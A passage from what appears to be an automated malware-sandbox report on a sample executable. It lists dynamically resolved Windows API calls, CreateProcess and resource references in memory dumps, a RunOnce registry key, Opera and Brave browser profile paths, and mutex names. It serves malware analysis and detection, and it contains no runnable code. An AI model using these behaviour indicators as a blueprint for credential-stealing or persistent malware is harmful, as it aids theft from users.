a parameter WSAttemptAutodialName (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSNoteSuccessfulHostentLookup (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsApiFree (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsFree (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter Dhcpv6QueryLeaseInfo (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter Dhcpv6FreeLeaseInfo (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpIsEnabled (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertInterfaceNameToLuidW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpQueryLeaseInfo (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpFreeLeaseInfo (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter NamespaceCallout (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter InternetOpenW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter InternetConnectA (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter InternetCloseHandle (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter HttpOpenRequestW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter HttpSendRequestA (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter InternetReadFile (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcInitFwImports (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcInitImports (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcVerifierCorruptionExpected (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcExtInitializeExtensionPoint (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00001928) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00001928)3d:T1773,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; File: "00003344.00000D10.10030855931523997.00050000.wprm") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00002508.00000000.69035.004E0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002508.00000000.69035.004E0000.00000004.mdmp, 00000000-00002508.00000000.69035.00800000.00000004.mdmp, 00000000-00002508.00000000.69035.009C0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp, 00000000-00002516.00000000.68589.004F0000.00000004.mdmp, 00000000-00002516.00000000.68589.008E0000.00000004.mdmp, 00000000-00002516.00000001.68626.00320000.00000004.mdmp, 00000000-00002516.00000001.68626.004F0000.00000004.mdmp, 00000000-00002516.00000001.68626.008E0000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp, 00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found reference to API "_COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002772.00000001.71465.00230000.00000004.mdmp, 00000000-00002772.00000001.71465.007A0000.00000004.mdmp, 00000000-00002772.00000001.71465.00B20000.00000004.mdmp, 00000000-00002772.00000002.72803.00230000.00000004.mdmp, 00000000-00002772.00000002.72803.007A0000.00000004.mdmp, 00000000-00002772.00000002.72803.00B20000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00002772.00000001.71465.00230000.00000004.mdmp, 00000000-00002772.00000002.72803.00230000.00000004.mdmp") Found reference to API "eCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00002772.00000001.71465.00230000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00002772.00000002.72803.00230000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00003072.00000000.67220.002A0000.00000004.mdmp, 00000000-00003072.00000001.69114.002A0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00003072.00000000.67220.002A0000.00000004.mdmp, 00000000-00003072.00000000.67220.00400000.00000004.mdmp, 00000000-00003072.00000000.67220.00DA0000.00000004.mdmp, 00000000-00003072.00000001.69114.002A0000.00000004.mdmp, 00000000-00003072.00000001.69114.00400000.00000004.mdmp, 00000000-00003072.00000001.69114.00DA0000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00003072.00000000.67220.00400000.00000004.mdmp, 00000000-00003072.00000001.69114.00400000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00003072.00000000.67220.00400000.00000004.mdmp, 00000000-00003072.00000001.69114.00400000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00003344.00000000.67256.00360000.00000004.mdmp, 00000000-00003344.00000000.67256.006F0000.00000004.mdmp, 00000000-00003344.00000000.67256.00850000.00000004.mdmp, 00000000-00003344.00000001.68660.00360000.00000004.mdmp, 00000000-00003344.00000001.68660.006F0000.00000004.mdmp, 00000000-00003344.00000001.68660.00850000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00003344.00000000.67256.00360000.00000004.mdmp, 00000000-00003344.00000001.68660.00360000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00003344.00000000.67256.00360000.00000004.mdmp, 00000000-00003344.00000001.68660.00360000.00000004.mdmp") Found reference to API "MPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00003344.00000000.67256.00360000.00000004.mdmp") Found reference to API "411164607,3000,3136,,CreateProcessA,kernel32.dll,"252:03:01.078",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00003344.00000000.67256.00360000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00003344.00000000.67256.00850000.00000004.mdmp, 00000000-00003344.00000001.68660.00850000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00003396.00000000.67130.004C0000.00000004.mdmp, 00000000-00003396.00000001.69050.009A0000.00000004.mdmp, 00000000-00003396.00000001.69050.00D00000.00000004.mdmp, 00000000-00003396.00000003.75485.004C0000.00000004.mdmp, 00000000-00003396.00000003.75485.009A0000.00000004.mdmp, 00000000-00003396.00000003.75485.00D00000.00000004.mdmp")3e:T407,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "8Ui694dn.exe.2191842284") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")3f:Ta21,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")40:T452,Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp")41:T633,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")42:T5d3,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")43:T73f,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: fa951d632a6b1c8efb577fc5b43a64b5.exe "DSystem\CurrentControlSet\Control\Session Manager" in Source: fa951d632a6b1c8efb577fc5b43a64b5.exe "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: fa951d632a6b1c8efb577fc5b43a64b5.exe "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: fa951d632a6b1c8efb577fc5b43a64b5.exe "System\CurrentControlSet\Control\Session Manager" in Source: 13103-17-0040256D "%APPDATA%\Opera Software\*" in Source: 00000000-00003376-00000C28-108425474198 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*" in Source: 00000000-00003376-00000C28-108951275906 "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00002516.00000001.68626.00320000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00002772.00000002.72803.00230000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00003072.00000000.67220.00400000.00000004.mdmp 00000000-00003072.00000001.69114.00400000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00003072.00000001.69114.00AE1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00003344.00000001.68660.00891000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00003396.00000000.67130.000F1000.00000020.mdmp "2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00003396.00000000.67130.004C0000.00000004.mdmp44:T515,"\Sessions\1\BaseNamedObjects\IsoScope_bf0_IESQMMUTEX_0_519" "Local\URLBLOCK_HASHFILESWITCH_MUTEX" "{5312EE61-79E3-4A24-BFE1-132B85B23C3A}" "IsoScope_bf0_IE_EarlyTabStart_0xd80_Mutex" "Local\URLBLOCK_FILEMAPSWITCH_MUTEX_3056" "IsoScope_bf0_IESQMMUTEX_0_331" "IsoScope_bf0_IESQMMUTEX_0_519" "Local\ZonesLockedCacheCounterMutex" "IsoScope_bf0_ConnHashTable<3056>_HashTable_Mutex" "Local\ZonesCacheCounterMutex" "Local\!BrowserEmulation!SharedMemory!Mutex" "Local\URLBLOCK_DOWNLOAD_MUTEX" "{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}" "IsoScope_bf0_IESQMMUTEX_0_303" "Local\VERMGMTBlockListFileMutex" "\Sessions\1\BaseNamedObjects\Local\!BrowserEmulation!SharedMemory!Mutex" "\Sessions\1\BaseNamedObjects\Local\VERMGMTBlockListFileMutex" "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_FILEMAPSWITCH_MUTEX_3056" "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_HASHFILESWITCH_MUTEX" "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_DOWNLOAD_MUTEX" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\IsoScope_bf0_IE_EarlyTabStart_0xd80_Mutex" "\Sessions\1\BaseNamedObjects\IsoScope_bf0_ConnHashTable<3056>_HashTable_Mutex" "\Sessions\1\BaseNamedObjects\{5312EE61-79E3-4A24-BFE1-132B85B23C3A}"45:T12af,"fa951d632a6b1c8efb577fc5b43a64b5.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "fa951d632a6b1c8efb577fc5b43a64b5.exe" failed to load missing module 